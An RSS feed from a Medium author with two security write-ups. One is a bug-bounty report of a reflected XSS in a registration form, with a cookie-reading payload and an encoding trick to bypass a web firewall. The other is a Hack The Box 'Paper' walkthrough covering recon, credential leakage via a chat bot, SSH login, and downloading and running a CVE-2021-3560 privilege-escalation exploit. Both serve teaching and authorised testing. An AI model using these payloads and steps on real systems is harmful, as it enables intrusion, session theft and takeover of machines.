<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ziad Sakr⚡ on Medium]]></title>
        <description><![CDATA[Stories by Ziad Sakr⚡ on Medium]]></description>
        <link>https://medium.com/@ziadsakr?source=rss-7c294c0b8530------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*O6VPnIbMTqar37hKUmf1kQ.jpeg</url>
            <title>Stories by Ziad Sakr⚡ on Medium</title>
            <link>https://medium.com/@ziadsakr?source=rss-7c294c0b8530------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:11:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ziadsakr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XSS in Registration Form: A Bug Bounty Success ]]></title>
            <link>https://medium.com/@ziadsakr/xss-in-registration-form-a-bug-bounty-success-6fb9450b0e66?source=rss-7c294c0b8530------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fb9450b0e66</guid>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[firewall]]></category>
            <dc:creator><![CDATA[Ziad Sakr⚡]]></dc:creator>
            <pubDate>Sun, 17 Nov 2024 11:03:01 GMT</pubDate>
            <atom:updated>2024-11-17T11:03:01.097Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone , I hope you are well.</p><p>بسم الله الرحمن الرحيم</p><h3>Introduction</h3><p><strong>This is my first Write-Up for my first bug I have found in my bug bounty journey, which started by the way in just two weeks ago.</strong> It has been an exciting and educational experience, and I am proud to share how I collaborated with my friend <strong>Ahmed Hisham </strong>(<a href="https://medium.com/u/0b1e7473516a">CipherHawk</a>), I discovered a <strong>Cross-Site Scripting (XSS)</strong> vulnerability in the registration form of a web application. This vulnerability allowed malicious scripts to be executed in the context of user’s browser.</p><p>In this article, I’ll walk you through the process we followed to discover, exploit, and validate this vulnerability, as well as the key takeaways for improving web application security.</p><h3>What is Reflected XSS?</h3><p>Reflected XSS occurs when an attacker injects malicious scripts into a webpage through user input, and the server immediately reflects this input back to the user without proper sensitization. Unlike stored XSS, where the malicious script is stored on the server, reflected XSS is executed in real-time during the user’s interaction with the page. This vulnerability is commonly exploited via URL parameters or forms that don’t adequately sanitize input.</p><p>The attacker can craft a URL containing malicious JavaScript, and when the victim clicks on the link, the script executes in their browser, potentially stealing session cookies, manipulating page content, or performing unauthorized actions on behalf of the user.</p><h3>The Discovery</h3><p>During a bug bounty engagement, I was working with Ahmed Hisham to assess a web application’s registration form. As we examined the form, we noticed that certain input fields didn’t sanitize or validate user input properly. We quickly realized this could be an opportunity to test for HTML/XSS vulnerabilities.</p><h3>The Attack Vector</h3><p>The registration form allowed input fields to accept user data, including names, email addresses, and more. However, it didn’t properly handle special characters or JavaScript event handlers, so i try to inject some JS events like <strong>onerror</strong>, or <strong>onmouseover</strong>.</p><p>It reflects our payload in the input tags so we injected the following payload into the first_name field:</p><pre>&quot;onmouseover=alert(document.cookie)</pre><p>when rendering the input tag should be something like that</p><pre>&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;gc_company&quot; id=&quot;gc_company&quot; required=&quot;required&quot; value=&quot;\&quot; onmouseover=&quot;alert(document.cookie)&quot;&gt;</pre><p>But the firewall detect it !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-q5ZAr0pRbhixGanRbBmw.png" /></figure><p>I needed a way to bypass the validation, so I experimented with various techniques until I fully understood how it processes and validates the entered data. During my tests, I observed that when I inserted dummy characters between parts of a word, the system automatically removed them and reassembled the word. This gave me the idea to insert a JavaScript event, like onmouseover, and strategically place dummy characters within it to evade the validation. Here&#39;s how I implemented it:</p><pre>&quot;onmous%25%37%34eover=alert(document.cookie)&gt;123</pre><p>Then make the request and BooM!!<br>XSS is Fired 🔥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5F4G6rpcvGDJ6KA3rL-Omg.png" /></figure><p>That’s all for today, I hope you enjoyed reading this write-up, and hopefully, there will be more exciting vulnerabilities and stronger findings in the future!</p><p>#xss #bugbounty #bugbountytips #js #hunters</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fb9450b0e66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box Paper Writeup]]></title>
            <link>https://medium.com/@ziadsakr/hack-the-box-paper-writeup-66e78a155e68?source=rss-7c294c0b8530------2</link>
            <guid isPermaLink="false">https://medium.com/p/66e78a155e68</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Ziad Sakr⚡]]></dc:creator>
            <pubDate>Sat, 06 Jul 2024 23:19:08 GMT</pubDate>
            <atom:updated>2024-07-06T23:44:43.794Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*ceOzU3I8lKZfHGxkF_Oj_g.png" /></figure><h3>Paper is a retired vulnerable Linux machine on <a href="https://hackthebox.com/">Hack The Box</a> with Easy difficulty.</h3><h3>Hello world, This is Ziad Sakr and welcome to my first writeup and also first post here in Medium, today we will hack this box named Paper.</h3><h3>💢Table of Contents:</h3><blockquote>• Information Gathering<br> • The Bot<br> • Exploitation<br> • User Flag <br> • Privilege Escalation <br> • Root Flag</blockquote><h4>▶ Information Gathering</h4><p>1- Nmap Scanning</p><pre>└──╼$ nmap –sCV 10.10.11.143</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6sMLqYOYgoPK9yoVfsT5g.png" /></figure><p>We found 3 Open Ports (22, 80 and 443), and some details like its OS is CentOS, but nothing is very useful here, so let’s see the website.</p><p>And there’s nothing here it just a Test Page, so let’s see another Directories in this website by Gobuster Scanning.</p><p>2- Gobuster Scanning</p><pre>└──╼$ gobuster dir -u http://10.10.11.143/ –w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8oOi0xQMRyECHOQs8NiQeA.png" /></figure><p>Again nothing is useful here too, so Trying to find another something useful than that like The <strong>Response</strong> of the website.</p><pre>└──╼$ curl –IL 10.10.11.143</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9Tl9nKTV06BROigrL3ABA.png" /></figure><p>Here we go, something useful we found useful HTTP Header “X-Backend-Server” and this header is used to return the name of the back end webserver (internal/hidden) that may be found behind the IP .</p><p>So we can edit out <strong>/etc/hosts</strong> file to include this <strong>IP</strong> with this <strong>HostName </strong>Like that:</p><pre>└──╼$ echo “10.10.11.143 office.paper” &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ex2thWhcpk5h9-PmUxneqA.png" /></figure><p>Now let’s open the website by its <strong>Host Name.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqchDV_iKbjCA5hjhp3EdA.jpeg" /></figure><p>And here we are the <strong>Hidden</strong> Page Opened now, so let’s make another <strong>Gobuster Scanning </strong>on this new page.</p><p>3- Gobuster Scanning</p><pre>└──╼$ gobuster dir -u http://office.paper/ –w /usr/share/wordlists/dirb/common.txt</pre><p>Opining <strong>/wp-admin </strong>page, and found login <strong>WordPress</strong> Page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxqiLGktxQhQBORXeSNerA.png" /></figure><p>Let’s scan this <strong>WordPress </strong>Page by WpScan</p><pre>└──╼$ wpscan --url office.paper</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MkGkWVxS9JdjdrnbGyUXJA.png" /></figure><p>We found the Version of this <strong>WordPress</strong> is <strong>5.2.3</strong></p><p>Searching for an Exploit for this Version.</p><pre>└──╼$ searchsploit wordpress 5.2.3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n76QlYvlVkUjin__UkXp2A.jpeg" /></figure><p>Get it and found an exploit <strong>”47690.md”, </strong>and it says that that if adding `?static=1` to a wordpress URL should leak its secret content, and we tried it out and give us this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpYczoPetma28lD3Za6ptg.jpeg" /></figure><p>that have secret sup-domain</p><pre>http://chat.office.paper/register/8qozr226AhkCHZdyY</pre><p>Then add the new Subdomain to our <strong>Hosts File</strong> <strong>“/etc/hosts”</strong></p><pre>└──╼$ echo &quot;10.10.11.143 chat.office.paper&quot; &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rqosty8pbINqqztc5bui4w.jpeg" /></figure><p>We got Register Page for <strong>Rocket Chat </strong>when we open it<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5Zwx1cCJOFbOfpg3CatDg.png" /></figure><p>Let’s going in…</p><h4>▶The Bot</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAYF3HlMJvLXsU0LRMOe0g.png" /></figure><p>We found in the general Chat a Bot Called <strong>”Recyclops” </strong>let’s have a Direct Message with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CbdQ6sz-YEbU49tqVgrgQ.png" /></figure><p>And when typing “help” we found some available commands in it like:</p><p>1- What time is it?</p><p>2- What new files are in your sale directory?</p><p>3- Why did the salesman crossed the road?</p><p>4- What’s the content of file x in your sales directory?</p><p>And the <strong>two</strong> <strong>command</strong> that will be useful for us is the <strong>Second</strong> &amp; the <strong>forth</strong> Questions (The <strong>content</strong> of the <strong>Directory </strong>&amp; The <strong>File</strong> <strong>Content</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RX8gOPlkY-qAt_Ouy5240Q.png" /></figure><p>Trying to list the Current directory by this command <strong>recyclops list .</strong> , we notice that we have the user <strong>&quot;dwight&quot; </strong>on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3eYx9ErNYQF-L6KFWeSEWw.png" /></figure><p>List the Previous directory <strong>recyclops list ./../</strong> , and found directory looks interesting <strong>“hubot”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7PNFH-mUwAb7Vm0naDfY8A.png" /></figure><p>And found in it file called <strong>“.env” </strong>now try to open it by this command <strong>recyclops file </strong><strong><em>../hubot/.env</em></strong> <strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nglFGqukJCF0djAZiCfbSA.png" /></figure><p>and we got a Password in it called <strong>“<em>Queenofblad3s!23</em>”</strong>.Now we Have this credentials <strong>“<em>dwight:Queenofblad3s!23</em>”</strong></p><h4>▶Exploitation</h4><p>1- User Flag</p><p>So now Let’s Try to connect by <strong><em>SSH</em></strong><em> </em>by this credentials <strong>“<em>dwight:Queenofblad3s!23</em>”</strong></p><pre>└──╼$ ssh dwight@10.10.11.143</pre><p>we are in right now and got the <strong>Usre.txt</strong> Flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZqkKCHAM40kF2nOuCFvsw.png" /></figure><p>So let’s <strong>escalate</strong> our <strong>privileges</strong> right Now!</p><h4>▶Privilege Escalation</h4><h4>1- Root Flag</h4><p>we can search aboutn the OS Version by this command</p><pre>└──╼$ uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*3OOSG6PVG3EB6fJzdFwJlg.png" /></figure><p>And by searching on google i got this CVE for it (<strong>CVE-2021–3560</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvvvz8p6xIMzvm8h4b3wmw.png" /></figure><p>And this is the exploit for this CVE (<strong>CVE-2021–3560.py</strong>), so let’s download it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdsPlzeJO7QcnboFAupniQ.png" /></figure><p>Now let’s Transfer the file from our devices to the target machine by Python Server.</p><pre>└──╼$ python3 -m http.server 8383</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2mXDKi3CxWxRgDbwTfnkQ.png" /></figure><p>And get the file from my machine like that:</p><pre>└──╼$ wget &quot;http://10.10.16.24:8383/CVE-2021-3560.py&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8I_wAnwwi5mrEpwpQvHFg.png" /></figure><p>Then run it using <strong>Python3</strong></p><pre>└──╼$ python3 CVE-2021-3560.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*A76_uNg1aWCGiEShljZ1JA.png" /></figure><p>Now we got the Root user and it’s flag. ✌</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LaExDRwXbClxd0dmKq_CA.png" /></figure><p>That’s it so I&#39;ll leave it to you on how to get the root flag, which is stored in root.txt.</p><p>Thanks for reading my writeup. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66e78a155e68" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>